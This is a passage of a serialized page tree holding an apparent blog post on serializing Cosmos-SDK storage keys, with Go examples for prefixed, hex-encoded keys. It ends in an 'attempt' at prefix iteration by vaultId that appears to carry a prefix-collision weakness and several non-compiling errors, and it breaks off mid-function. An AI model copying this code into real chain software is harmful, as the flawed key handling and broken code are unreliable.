)\n}\n",[85152],{"type":23,"tag":135,"props":85153,"children":85154},{"__ignoreMap":7},[85155,85166,85181,85208,85233,85240,85247,85254,85269,85284,85311,85334,85353,85368,85403,85410,85445,85452,85471,85486,85521,85528,85563,85570,85597,85609,85621,85632,85643,85654,85665,85676,85683,85690,85697,85704,85719,85734,85761,85784,85803,85818,85853,85860,85895,85902,85921,85936,85971,85978,86013,86020,86047,86058,86070,86081,86092,86103,86114,86125,86133],{"type":23,"tag":139,"props":85156,"children":85157},{"class":141,"line":142},[85158,85162],{"type":23,"tag":139,"props":85159,"children":85160},{"style":279},[85161],{"type":28,"value":7663},{"type":23,"tag":139,"props":85163,"children":85164},{"style":259},[85165],{"type":28,"value":76470},{"type":23,"tag":139,"props":85167,"children":85168},{"class":141,"line":151},[85169,85173,85177],{"type":23,"tag":139,"props":85170,"children":85171},{"style":294},[85172],{"type":28,"value":83235},{"type":23,"tag":139,"props":85174,"children":85175},{"style":982},[85176],{"type":28,"value":985},{"type":23,"tag":139,"props":85178,"children":85179},{"style":265},[85180],{"type":28,"value":83244},{"type":23,"tag":139,"props":85182,"children":85183},{"class":141,"line":160},[85184,85189,85193,85198,85203],{"type":23,"tag":139,"props":85185,"children":85186},{"style":294},[85187],{"type":28,"value":85188},"    PositionMapPrefix",{"type":23,"tag":139,"props":85190,"children":85191},{"style":982},[85192],{"type":28,"value":985},{"type":23,"tag":139,"props":85194,"children":85195},{"style":265},[85196],{"type":28,"value":85197}," \"",{"type":23,"tag":139,"props":85199,"children":85200},{"style":46270},[85201],{"type":28,"value":85202},"\\x01",{"type":23,"tag":139,"props":85204,"children":85205},{"style":265},[85206],{"type":28,"value":85207},"\"\n",{"type":23,"tag":139,"props":85209,"children":85210},{"class":141,"line":169},[85211,85216,85220,85224,85229],{"type":23,"tag":139,"props":85212,"children":85213},{"style":294},[85214],{"type":28,"value":85215},"    AddressMapPrefix",{"type":23,"tag":139,"props":85217,"children":85218},{"style":982},[85219],{"type":28,"value":985},{"type":23,"tag":139,"props":85221,"children":85222},{"style":265},[85223],{"type":28,"value":85197},{"type":23,"tag":139,"props":85225,"children":85226},{"style":46270},[85227],{"type":28,"value":85228},"\\x02",{"type":23,"tag":139,"props":85230,"children":85231},{"style":265},[85232],{"type":28,"value":85207},{"type":23,"tag":139,"props":85234,"children":85235},{"class":141,"line":178},[85236],{"type":23,"tag":139,"props":85237,"children":85238},{"style":259},[85239],{"type":28,"value":273},{"type":23,"tag":139,"props":85241,"children":85242},{"class":141,"line":187},[85243],{"type":23,"tag":139,"props":85244,"children":85245},{"emptyLinePlaceholder":15},[85246],{"type":28,"value":184},{"type":23,"tag":139,"props":85248,"children":85249},{"class":141,"line":196},[85250],{"type":23,"tag":139,"props":85251,"children":85252},{"emptyLinePlaceholder":15},[85253],{"type":28,"value":184},{"type":23,"tag":139,"props":85255,"children":85256},{"class":141,"line":205},[85257,85261,85265],{"type":23,"tag":139,"props":85258,"children":85259},{"style":279},[85260],{"type":28,"value":74204},{"type":23,"tag":139,"props":85262,"children":85263},{"style":245},[85264],{"type":28,"value":84263},{"type":23,"tag":139,"props":85266,"children":85267},{"style":259},[85268],{"type":28,"value":1443},{"type":23,"tag":139,"props":85270,"children":85271},{"class":141,"line":214},[85272,85276,85280],{"type":23,"tag":139,"props":85273,"children":85274},{"style":294},[85275],{"type":28,"value":83151},{"type":23,"tag":139,"props":85277,"children":85278},{"style":305},[85279],{"type":28,"value":74325},{"type":23,"tag":139,"props":85281,"children":85282},{"style":259},[85283],{"type":28,"value":1488},{"type":23,"tag":139,"props":85285,"children":85286},{"class":141,"line":1320},[85287,85291,85295,85299,85303,85307],{"type":23,"tag":139,"props":85288,"children":85289},{"style":294},[85290],{"type":28,"value":83163},{"type":23,"tag":139,"props":85292,"children":85293},{"style":259},[85294],{"type":28,"value":1052},{"type":23,"tag":139,"props":85296,"children":85297},{"style":294},[85298],{"type":28,"value":83644},{"type":23,"tag":139,"props":85300,"children":85301},{"style":259},[85302],{"type":28,"value":74131},{"type":23,"tag":139,"props":85304,"children":85305},{"style":305},[85306],{"type":28,"value":82669},{"type":23,"tag":139,"props":85308,"children":85309},{"style":259},[85310],{"type":28,"value":1488},{"type":23,"tag":139,"props":85312,"children":85313},{"class":141,"line":1329},[85314,85318,85322,85326,85330],{"type":23,"tag":139,"props":85315,"children":85316},{"style":259},[85317],{"type":28,"value":74286},{"type":23,"tag":139,"props":85319,"children":85320},{"style":294},[85321],{"type":28,"value":70058},{"type":23,"tag":139,"props":85323,"children":85324},{"style":259},[85325],{"type":28,"value":74131},{"type":23,"tag":139,"props":85327,"children":85328},{"style":305},[85329],{"type":28,"value":82669},{"type":23,"tag":139,"props":85331,"children":85332},{"style":259},[85333],{"type":28,"value":12815},{"type":23,"tag":139,"props":85335,"children":85336},{"class":141,"line":1580},[85337,85341,85345,85349],{"type":23,"tag":139,"props":85338,"children":85339},{"style":294},[85340],{"type":28,"value":83765},{"type":23,"tag":139,"props":85342,"children":85343},{"style":982},[85344],{"type":28,"value":74320},{"type":23,"tag":139,"props":85346,"children":85347},{"style":245},[85348],{"type":28,"value":83468},{"type":23,"tag":139,"props":85350,"children":85351},{"style":259},[85352],{"type":28,"value":1443},{"type":23,"tag":139,"props":85354,"children":85355},{"class":141,"line":1597},[85356,85360,85364],{"type":23,"tag":139,"props":85357,"children":85358},{"style":259},[85359],{"type":28,"value":84359},{"type":23,"tag":139,"props":85361,"children":85362},{"style":305},[85363],{"type":28,"value":82669},{"type":23,"tag":139,"props":85365,"children":85366},{"style":259},[85367],{"type":28,"value":1488},{"type":23,"tag":139,"props":85369,"children":85370},{"class":141,"line":1614},[85371,85375,85379,85383,85387,85391,85395,85399],{"type":23,"tag":139,"props":85372,"children":85373},{"style":294},[85374],{"type":28,"value":84375},{"type":23,"tag":139,"props":85376,"children":85377},{"style":259},[85378],{"type":28,"value":73},{"type":23,"tag":139,"props":85380,"children":85381},{"style":245},[85382],{"type":28,"value":83505},{"type":23,"tag":139,"props":85384,"children":85385},{"style":259},[85386],{"type":28,"value":262},{"type":23,"tag":139,"props":85388,"children":85389},{"style":245},[85390],{"type":28,"value":7146},{"type":23,"tag":139,"props":85392,"children":85393},{"style":259},[85394],{"type":28,"value":262},{"type":23,"tag":139,"props":85396,"children":85397},{"style":294},[85398],{"type":28,"value":83375},{"type":23,"tag":139,"props":85400,"children":85401},{"style":259},[85402],{"type":28,"value":83526},{"type":23,"tag":139,"props":85404,"children":85405},{"class":141,"line":1627},[85406],{"type":23,"tag":139,"props":85407,"children":85408},{"style":259},[85409],{"type":28,"value":21939},{"type":23,"tag":139,"props":85411,"children":85412},{"class":141,"line":1636},[85413,85417,85421,85425,85429,85433,85437,85441],{"type":23,"tag":139,"props":85414,"children":85415},{"style":294},[85416],{"type":28,"value":83496},{"type":23,"tag":139,"props":85418,"children":85419},{"style":259},[85420],{"type":28,"value":73},{"type":23,"tag":139,"props":85422,"children":85423},{"style":245},[85424],{"type":28,"value":83550},{"type":23,"tag":139,"props":85426,"children":85427},{"style":259},[85428],{"type":28,"value":262},{"type":23,"tag":139,"props":85430,"children":85431},{"style":294},[85432],{"type":28,"value":83459},{"type":23,"tag":139,"props":85434,"children":85435},{"style":259},[85436],{"type":28,"value":1052},{"type":23,"tag":139,"props":85438,"children":85439},{"style":294},[85440],{"type":28,"value":83375},{"type":23,"tag":139,"props":85442,"children":85443},{"style":259},[85444],{"type":28,"value":273},{"type":23,"tag":139,"props":85446,"children":85447},{"class":141,"line":1659},[85448],{"type":23,"tag":139,"props":85449,"children":85450},{"emptyLinePlaceholder":15},[85451],{"type":28,"value":184},{"type":23,"tag":139,"props":85453,"children":85454},{"class":141,"line":1667},[85455,85459,85463,85467],{"type":23,"tag":139,"props":85456,"children":85457},{"style":294},[85458],{"type":28,"value":84460},{"type":23,"tag":139,"props":85460,"children":85461},{"style":982},[85462],{"type":28,"value":74320},{"type":23,"tag":139,"props":85464,"children":85465},{"style":245},[85466],{"type":28,"value":83468},{"type":23,"tag":139,"props":85468,"children":85469},{"style":259},[85470],{"type":28,"value":1443},{"type":23,"tag":139,"props":85472,"children":85473},{"class":141,"line":1676},[85474,85478,85482],{"type":23,"tag":139,"props":85475,"children":85476},{"style":259},[85477],{"type":28,"value":84359},{"type":23,"tag":139,"props":85479,"children":85480},{"style":305},[85481],{"type":28,"value":82669},{"type":23,"tag":139,"props":85483,"children":85484},{"style":259},[85485],{"type":28,"value":1488},{"type":23,"tag":139,"props":85487,"children":85488},{"class":141,"line":1745},[85489,85493,85497,85501,85505,85509,85513,85517],{"type":23,"tag":139,"props":85490,"children":85491},{"style":294},[85492],{"type":28,"value":84375},{"type":23,"tag":139,"props":85494,"children":85495},{"style":259},[85496],{"type":28,"value":73},{"type":23,"tag":139,"props":85498,"children":85499},{"style":245},[85500],{"type":28,"value":83505},{"type":23,"tag":139,"props":85502,"children":85503},{"style":259},[85504],{"type":28,"value":262},{"type":23,"tag":139,"props":85506,"children":85507},{"style":245},[85508],{"type":28,"value":7146},{"type":23,"tag":139,"props":85510,"children":85511},{"style":259},[85512],{"type":28,"value":262},{"type":23,"tag":139,"props":85514,"children":85515},{"style":294},[85516],{"type":28,"value":83644},{"type":23,"tag":139,"props":85518,"children":85519},{"style":259},[85520],{"type":28,"value":83526},{"type":23,"tag":139,"props":85522,"children":85523},{"class":141,"line":1753},[85524],{"type":23,"tag":139,"props":85525,"children":85526},{"style":259},[85527],{"type":28,"value":21939},{"type":23,"tag":139,"props":85529,"children":85530},{"class":141,"line":1783},[85531,85535,85539,85543,85547,85551,85555,85559],{"type":23,"tag":139,"props":85532,"children":85533},{"style":294},[85534],{"type":28,"value":83496},{"type":23,"tag":139,"props":85536,"children":85537},{"style":259},[85538],{"type":28,"value":73},{"type":23,"tag":139,"props":85540,"children":85541},{"style":245},[85542],{"type":28,"value":83550},{"type":23,"tag":139,"props":85544,"children":85545},{"style":259},[85546],{"type":28,"value":262},{"type":23,"tag":139,"props":85548,"children":85549},{"style":294},[85550],{"type":28,"value":83585},{"type":23,"tag":139,"props":85552,"children":85553},{"style":259},[85554],{"type":28,"value":1052},{"type":23,"tag":139,"props":85556,"children":85557},{"style":294},[85558],{"type":28,"value":83644},{"type":23,"tag":139,"props":85560,"children":85561},{"style":259},[85562],{"type":28,"value":273},{"type":23,"tag":139,"props":85564,"children":85565},{"class":141,"line":1791},[85566],{"type":23,"tag":139,"props":85567,"children":85568},{"emptyLinePlaceholder":15},[85569],{"type":28,"value":184},{"type":23,"tag":139,"props":85571,"children":85572},{"class":141,"line":1823},[85573,85577,85581,85585,85589,85593],{"type":23,"tag":139,"props":85574,"children":85575},{"style":294},[85576],{"type":28,"value":84579},{"type":23,"tag":139,"props":85578,"children":85579},{"style":982},[85580],{"type":28,"value":74320},{"type":23,"tag":139,"props":85582,"children":85583},{"style":294},[85584],{"type":28,"value":80138},{"type":23,"tag":139,"props":85586,"children":85587},{"style":259},[85588],{"type":28,"value":73},{"type":23,"tag":139,"props":85590,"children":85591},{"style":245},[85592],{"type":28,"value":83127},{"type":23,"tag":139,"props":85594,"children":85595},{"style":259},[85596],{"type":28,"value":1443},{"type":23,"tag":139,"props":85598,"children":85599},{"class":141,"line":1831},[85600,85605],{"type":23,"tag":139,"props":85601,"children":85602},{"style":265},[85603],{"type":28,"value":85604},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":139,"props":85606,"children":85607},{"style":259},[85608],{"type":28,"value":1488},{"type":23,"tag":139,"props":85610,"children":85611},{"class":141,"line":1891},[85612,85617],{"type":23,"tag":139,"props":85613,"children":85614},{"style":294},[85615],{"type":28,"value":85616},"        PositionMapPrefix",{"type":23,"tag":139,"props":85618,"children":85619},{"style":259},[85620],{"type":28,"value":1488},{"type":23,"tag":139,"props":85622,"children":85623},{"class":141,"line":7053},[85624,85628],{"type":23,"tag":139,"props":85625,"children":85626},{"style":294},[85627],{"type":28,"value":84619},{"type":23,"tag":139,"props":85629,"children":85630},{"style":259},[85631],{"type":28,"value":1488},{"type":23,"tag":139,"props":85633,"children":85634},{"class":141,"line":7071},[85635,85639],{"type":23,"tag":139,"props":85636,"children":85637},{"style":294},[85638],{"type":28,"value":84631},{"type":23,"tag":139,"props":85640,"children":85641},{"style":259},[85642],{"type":28,"value":1488},{"type":23,"tag":139,"props":85644,"children":85645},{"class":141,"line":7116},[85646,85650],{"type":23,"tag":139,"props":85647,"children":85648},{"style":294},[85649],{"type":28,"value":84643},{"type":23,"tag":139,"props":85651,"children":85652},{"style":259},[85653],{"type":28,"value":1488},{"type":23,"tag":139,"props":85655,"children":85656},{"class":141,"line":7222},[85657,85661],{"type":23,"tag":139,"props":85658,"children":85659},{"style":294},[85660],{"type":28,"value":84631},{"type":23,"tag":139,"props":85662,"children":85663},{"style":259},[85664],{"type":28,"value":1488},{"type":23,"tag":139,"props":85666,"children":85667},{"class":141,"line":21518},[85668,85672],{"type":23,"tag":139,"props":85669,"children":85670},{"style":294},[85671],{"type":28,"value":84666},{"type":23,"tag":139,"props":85673,"children":85674},{"style":259},[85675],{"type":28,"value":1488},{"type":23,"tag":139,"props":85677,"children":85678},{"class":141,"line":21553},[85679],{"type":23,"tag":139,"props":85680,"children":85681},{"style":259},[85682],{"type":28,"value":21939},{"type":23,"tag":139,"props":85684,"children":85685},{"class":141,"line":21561},[85686],{"type":23,"tag":139,"props":85687,"children":85688},{"style":259},[85689],{"type":28,"value":1897},{"type":23,"tag":139,"props":85691,"children":85692},{"class":141,"line":21569},[85693],{"type":23,"tag":139,"props":85694,"children":85695},{"emptyLinePlaceholder":15},[85696],{"type":28,"value":184},{"type":23,"tag":139,"props":85698,"children":85699},{"class":141,"line":21578},[85700],{"type":23,"tag":139,"props":85701,"children":85702},{"emptyLinePlaceholder":15},[85703],{"type":28,"value":184},{"type":23,"tag":139,"props":85705,"children":85706},{"class":141,"line":21620},[85707,85711,85715],{"type":23,"tag":139,"props":85708,"children":85709},{"style":279},[85710],{"type":28,"value":74204},{"type":23,"tag":139,"props":85712,"children":85713},{"style":245},[85714],{"type":28,"value":84710},{"type":23,"tag":139,"props":85716,"children":85717},{"style":259},[85718],{"type":28,"value":1443},{"type":23,"tag":139,"props":85720,"children":85721},{"class":141,"line":21653},[85722,85726,85730],{"type":23,"tag":139,"props":85723,"children":85724},{"style":294},[85725],{"type":28,"value":83151},{"type":23,"tag":139,"props":85727,"children":85728},{"style":305},[85729],{"type":28,"value":74325},{"type":23,"tag":139,"props":85731,"children":85732},{"style":259},[85733],{"type":28,"value":1488},{"type":23,"tag":139,"props":85735,"children":85736},{"class":141,"line":21661},[85737,85741,85745,85749,85753,85757],{"type":23,"tag":139,"props":85738,"children":85739},{"style":294},[85740],{"type":28,"value":83163},{"type":23,"tag":139,"props":85742,"children":85743},{"style":259},[85744],{"type":28,"value":1052},{"type":23,"tag":139,"props":85746,"children":85747},{"style":294},[85748],{"type":28,"value":84745},{"type":23,"tag":139,"props":85750,"children":85751},{"style":259},[85752],{"type":28,"value":74131},{"type":23,"tag":139,"props":85754,"children":85755},{"style":305},[85756],{"type":28,"value":82669},{"type":23,"tag":139,"props":85758,"children":85759},{"style":259},[85760],{"type":28,"value":1488},{"type":23,"tag":139,"props":85762,"children":85763},{"class":141,"line":21669},[85764,85768,85772,85776,85780],{"type":23,"tag":139,"props":85765,"children":85766},{"style":259},[85767],{"type":28,"value":74286},{"type":23,"tag":139,"props":85769,"children":85770},{"style":294},[85771],{"type":28,"value":70058},{"type":23,"tag":139,"props":85773,"children":85774},{"style":259},[85775],{"type":28,"value":74131},{"type":23,"tag":139,"props":85777,"children":85778},{"style":305},[85779],{"type":28,"value":82669},{"type":23,"tag":139,"props":85781,"children":85782},{"style":259},[85783],{"type":28,"value":12815},{"type":23,"tag":139,"props":85785,"children":85786},{"class":141,"line":21678},[85787,85791,85795,85799],{"type":23,"tag":139,"props":85788,"children":85789},{"style":294},[85790],{"type":28,"value":83765},{"type":23,"tag":139,"props":85792,"children":85793},{"style":982},[85794],{"type":28,"value":74320},{"type":23,"tag":139,"props":85796,"children":85797},{"style":245},[85798],{"type":28,"value":83468},{"type":23,"tag":139,"props":85800,"children":85801},{"style":259},[85802],{"type":28,"value":1443},{"type":23,"tag":139,"props":85804,"children":85805},{"class":141,"line":21754},[85806,85810,85814],{"type":23,"tag":139,"props":85807,"children":85808},{"style":259},[85809],{"type":28,"value":84359},{"type":23,"tag":139,"props":85811,"children":85812},{"style":305},[85813],{"type":28,"value":82669},{"type":23,"tag":139,"props":85815,"children":85816},{"style":259},[85817],{"type":28,"value":1488},{"type":23,"tag":139,"props":85819,"children":85820},{"class":141,"line":21787},[85821,85825,85829,85833,85837,85841,85845,85849],{"type":23,"tag":139,"props":85822,"children":85823},{"style":294},[85824],{"type":28,"value":84375},{"type":23,"tag":139,"props":85826,"children":85827},{"style":259},[85828],{"type":28,"value":73},{"type":23,"tag":139,"props":85830,"children":85831},{"style":245},[85832],{"type":28,"value":83505},{"type":23,"tag":139,"props":85834,"children":85835},{"style":259},[85836],{"type":28,"value":262},{"type":23,"tag":139,"props":85838,"children":85839},{"style":245},[85840],{"type":28,"value":7146},{"type":23,"tag":139,"props":85842,"children":85843},{"style":259},[85844],{"type":28,"value":262},{"type":23,"tag":139,"props":85846,"children":85847},{"style":294},[85848],{"type":28,"value":83375},{"type":23,"tag":139,"props":85850,"children":85851},{"style":259},[85852],{"type":28,"value":83526},{"type":23,"tag":139,"props":85854,"children":85855},{"class":141,"line":21795},[85856],{"type":23,"tag":139,"props":85857,"children":85858},{"style":259},[85859],{"type":28,"value":21939},{"type":23,"tag":139,"props":85861,"children":85862},{"class":141,"line":21803},[85863,85867,85871,85875,85879,85883,85887,85891],{"type":23,"tag":139,"props":85864,"children":85865},{"style":294},[85866],{"type":28,"value":83496},{"type":23,"tag":139,"props":85868,"children":85869},{"style":259},[85870],{"type":28,"value":73},{"type":23,"tag":139,"props":85872,"children":85873},{"style":245},[85874],{"type":28,"value":83550},{"type":23,"tag":139,"props":85876,"children":85877},{"style":259},[85878],{"type":28,"value":262},{"type":23,"tag":139,"props":85880,"children":85881},{"style":294},[85882],{"type":28,"value":83459},{"type":23,"tag":139,"props":85884,"children":85885},{"style":259},[85886],{"type":28,"value":1052},{"type":23,"tag":139,"props":85888,"children":85889},{"style":294},[85890],{"type":28,"value":83375},{"type":23,"tag":139,"props":85892,"children":85893},{"style":259},[85894],{"type":28,"value":273},{"type":23,"tag":139,"props":85896,"children":85897},{"class":141,"line":21840},[85898],{"type":23,"tag":139,"props":85899,"children":85900},{"emptyLinePlaceholder":15},[85901],{"type":28,"value":184},{"type":23,"tag":139,"props":85903,"children":85904},{"class":141,"line":21853},[85905,85909,85913,85917],{"type":23,"tag":139,"props":85906,"children":85907},{"style":294},[85908],{"type":28,"value":84902},{"type":23,"tag":139,"props":85910,"children":85911},{"style":982},[85912],{"type":28,"value":74320},{"type":23,"tag":139,"props":85914,"children":85915},{"style":245},[85916],{"type":28,"value":83468},{"type":23,"tag":139,"props":85918,"children":85919},{"style":259},[85920],{"type":28,"value":1443},{"type":23,"tag":139,"props":85922,"children":85923},{"class":141,"line":21866},[85924,85928,85932],{"type":23,"tag":139,"props":85925,"children":85926},{"style":259},[85927],{"type":28,"value":84359},{"type":23,"tag":139,"props":85929,"children":85930},{"style":305},[85931],{"type":28,"value":82669},{"type":23,"tag":139,"props":85933,"children":85934},{"style":259},[85935],{"type":28,"value":1488},{"type":23,"tag":139,"props":85937,"children":85938},{"class":141,"line":21879},[85939,85943,85947,85951,85955,85959,85963,85967],{"type":23,"tag":139,"props":85940,"children":85941},{"style":294},[85942],{"type":28,"value":84375},{"type":23,"tag":139,"props":85944,"children":85945},{"style":259},[85946],{"type":28,"value":73},{"type":23,"tag":139,"props":85948,"children":85949},{"style":245},[85950],{"type":28,"value":83505},{"type":23,"tag":139,"props":85952,"children":85953},{"style":259},[85954],{"type":28,"value":262},{"type":23,"tag":139,"props":85956,"children":85957},{"style":245},[85958],{"type":28,"value":7146},{"type":23,"tag":139,"props":85960,"children":85961},{"style":259},[85962],{"type":28,"value":262},{"type":23,"tag":139,"props":85964,"children":85965},{"style":294},[85966],{"type":28,"value":84745},{"type":23,"tag":139,"props":85968,"children":85969},{"style":259},[85970],{"type":28,"value":83526},{"type":23,"tag":139,"props":85972,"children":85973},{"class":141,"line":21933},[85974],{"type":23,"tag":139,"props":85975,"children":85976},{"style":259},[85977],{"type":28,"value":21939},{"type":23,"tag":139,"props":85979,"children":85980},{"class":141,"line":21942},[85981,85985,85989,85993,85997,86001,86005,86009],{"type":23,"tag":139,"props":85982,"children":85983},{"style":294},[85984],{"type":28,"value":83496},{"type":23,"tag":139,"props":85986,"children":85987},{"style":259},[85988],{"type":28,"value":73},{"type":23,"tag":139,"props":85990,"children":85991},{"style":245},[85992],{"type":28,"value":83550},{"type":23,"tag":139,"props":85994,"children":85995},{"style":259},[85996],{"type":28,"value":262},{"type":23,"tag":139,"props":85998,"children":85999},{"style":294},[86000],{"type":28,"value":84995},{"type":23,"tag":139,"props":86002,"children":86003},{"style":259},[86004],{"type":28,"value":1052},{"type":23,"tag":139,"props":86006,"children":86007},{"style":294},[86008],{"type":28,"value":84745},{"type":23,"tag":139,"props":86010,"children":86011},{"style":259},[86012],{"type":28,"value":273},{"type":23,"tag":139,"props":86014,"children":86015},{"class":141,"line":30168},[86016],{"type":23,"tag":139,"props":86017,"children":86018},{"emptyLinePlaceholder":15},[86019],{"type":28,"value":184},{"type":23,"tag":139,"props":86021,"children":86022},{"class":141,"line":30189},[86023,86027,86031,86035,86039,86043],{"type":23,"tag":139,"props":86024,"children":86025},{"style":294},[86026],{"type":28,"value":84579},{"type":23,"tag":139,"props":86028,"children":86029},{"style":982},[86030],{"type":28,"value":74320},{"type":23,"tag":139,"props":86032,"children":86033},{"style":294},[86034],{"type":28,"value":80138},{"type":23,"tag":139,"props":86036,"children":86037},{"style":259},[86038],{"type":28,"value":73},{"type":23,"tag":139,"props":86040,"children":86041},{"style":245},[86042],{"type":28,"value":83127},{"type":23,"tag":139,"props":86044,"children":86045},{"style":259},[86046],{"type":28,"value":1443},{"type":23,"tag":139,"props":86048,"children":86049},{"class":141,"line":78855},[86050,86054],{"type":23,"tag":139,"props":86051,"children":86052},{"style":265},[86053],{"type":28,"value":85604},{"type":23,"tag":139,"props":86055,"children":86056},{"style":259},[86057],{"type":28,"value":1488},{"type":23,"tag":139,"props":86059,"children":86060},{"class":141,"line":78868},[86061,86066],{"type":23,"tag":139,"props":86062,"children":86063},{"style":294},[86064],{"type":28,"value":86065},"        AddressMapPrefix",{"type":23,"tag":139,"props":86067,"children":86068},{"style":259},[86069],{"type":28,"value":1488},{"type":23,"tag":139,"props":86071,"children":86072},{"class":141,"line":78876},[86073,86077],{"type":23,"tag":139,"props":86074,"children":86075},{"style":294},[86076],{"type":28,"value":84619},{"type":23,"tag":139,"props":86078,"children":86079},{"style":259},[86080],{"type":28,"value":1488},{"type":23,"tag":139,"props":86082,"children":86083},{"class":141,"line":78884},[86084,86088],{"type":23,"tag":139,"props":86085,"children":86086},{"style":294},[86087],{"type":28,"value":84631},{"type":23,"tag":139,"props":86089,"children":86090},{"style":259},[86091],{"type":28,"value":1488},{"type":23,"tag":139,"props":86093,"children":86094},{"class":141,"line":78892},[86095,86099],{"type":23,"tag":139,"props":86096,"children":86097},{"style":294},[86098],{"type":28,"value":84643},{"type":23,"tag":139,"props":86100,"children":86101},{"style":259},[86102],{"type":28,"value":1488},{"type":23,"tag":139,"props":86104,"children":86105},{"class":141,"line":78932},[86106,86110],{"type":23,"tag":139,"props":86107,"children":86108},{"style":294},[86109],{"type":28,"value":84631},{"type":23,"tag":139,"props":86111,"children":86112},{"style":259},[86113],{"type":28,"value":1488},{"type":23,"tag":139,"props":86115,"children":86116},{"class":141,"line":78940},[86117,86121],{"type":23,"tag":139,"props":86118,"children":86119},{"style":294},[86120],{"type":28,"value":85104},{"type":23,"tag":139,"props":86122,"children":86123},{"style":259},[86124],{"type":28,"value":1488},{"type":23,"tag":139,"props":86126,"children":86128},{"class":141,"line":86127},60,[86129],{"type":23,"tag":139,"props":86130,"children":86131},{"style":259},[86132],{"type":28,"value":21939},{"type":23,"tag":139,"props":86134,"children":86136},{"class":141,"line":86135},61,[86137],{"type":23,"tag":139,"props":86138,"children":86139},{"style":259},[86140],{"type":28,"value":1897},{"type":23,"tag":24,"props":86142,"children":86143},{},[86144],{"type":28,"value":86145},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":86147,"children":86148},{},[86149,86151,86156],{"type":28,"value":86150},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":135,"props":86152,"children":86154},{"className":86153},[],[86155],{"type":28,"value":65003},{"type":28,"value":86157},", data should still be retrievable through original keys.",{"type":23,"tag":24,"props":86159,"children":86160},{},[86161,86163,86169,86171,86176],{"type":28,"value":86162},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":135,"props":86164,"children":86166},{"className":86165},[],[86167],{"type":28,"value":86168},"map[Username]map[PositionName]Position",{"type":28,"value":86170}," associated with a ",{"type":23,"tag":135,"props":86172,"children":86174},{"className":86173},[],[86175],{"type":28,"value":83039},{"type":28,"value":86177}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":86179,"children":86180},{},[86181,86183,86188,86190,86196],{"type":28,"value":86182},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":135,"props":86184,"children":86186},{"className":86185},[],[86187],{"type":28,"value":83110},{"type":28,"value":86189}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":135,"props":86191,"children":86193},{"className":86192},[],[86194],{"type":28,"value":86195},"vaultId",{"type":28,"value":2493},{"type":23,"tag":128,"props":86198,"children":86200},{"code":86199,"language":74068,"meta":7,"className":74069,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[86201],{"type":23,"tag":135,"props":86202,"children":86203},{"__ignoreMap":7},[86204,86220,86235,86284,86336,86365,86377,86423,86430,86476,86531,86538,86602,86663,86686,86705,86712,86719,86779,86838,86861,86880,86887,86894,86947,86995,87002,87009,87049,87078,87085,87092,87104],{"type":23,"tag":139,"props":86205,"children":86206},{"class":141,"line":142},[86207,86211,86216],{"type":23,"tag":139,"props":86208,"children":86209},{"style":279},[86210],{"type":28,"value":74204},{"type":23,"tag":139,"props":86212,"children":86213},{"style":245},[86214],{"type":28,"value":86215}," FetchPositionMapWithVaultId",{"type":23,"tag":139,"props":86217,"children":86218},{"style":259},[86219],{"type":28,"value":1443},{"type":23,"tag":139,"props":86221,"children":86222},{"class":141,"line":151},[86223,86227,86231],{"type":23,"tag":139,"props":86224,"children":86225},{"style":294},[86226],{"type":28,"value":83151},{"type":23,"tag":139,"props":86228,"children":86229},{"style":305},[86230],{"type":28,"value":74325},{"type":23,"tag":139,"props":86232,"children":86233},{"style":259},[86234],{"type":28,"value":1488},{"type":23,"tag":139,"props":86236,"children":86237},{"class":141,"line":160},[86238,86243,86247,86251,86255,86259,86263,86267,86271,86275,86280],{"type":23,"tag":139,"props":86239,"children":86240},{"style":259},[86241],{"type":28,"value":86242},") ([]",{"type":23,"tag":139,"props":86244,"children":86245},{"style":279},[86246],{"type":28,"value":65003},{"type":23,"tag":139,"props":86248,"children":86249},{"style":259},[86250],{"type":28,"value":1723},{"type":23,"tag":139,"props":86252,"children":86253},{"style":305},[86254],{"type":28,"value":83056},{"type":23,"tag":139,"props":86256,"children":86257},{"style":259},[86258],{"type":28,"value":13423},{"type":23,"tag":139,"props":86260,"children":86261},{"style":279},[86262],{"type":28,"value":65003},{"type":23,"tag":139,"props":86264,"children":86265},{"style":259},[86266],{"type":28,"value":1723},{"type":23,"tag":139,"props":86268,"children":86269},{"style":305},[86270],{"type":28,"value":83073},{"type":23,"tag":139,"props":86272,"children":86273},{"style":259},[86274],{"type":28,"value":13423},{"type":23,"tag":139,"props":86276,"children":86277},{"style":305},[86278],{"type":28,"value":86279},"Position",{"type":23,"tag":139,"props":86281,"children":86282},{"style":259},[86283],{"type":28,"value":12815},{"type":23,"tag":139,"props":86285,"children":86286},{"class":141,"line":169},[86287,86292,86296,86300,86304,86308,86312,86316,86320,86324,86328,86332],{"type":23,"tag":139,"props":86288,"children":86289},{"style":294},[86290],{"type":28,"value":86291},"    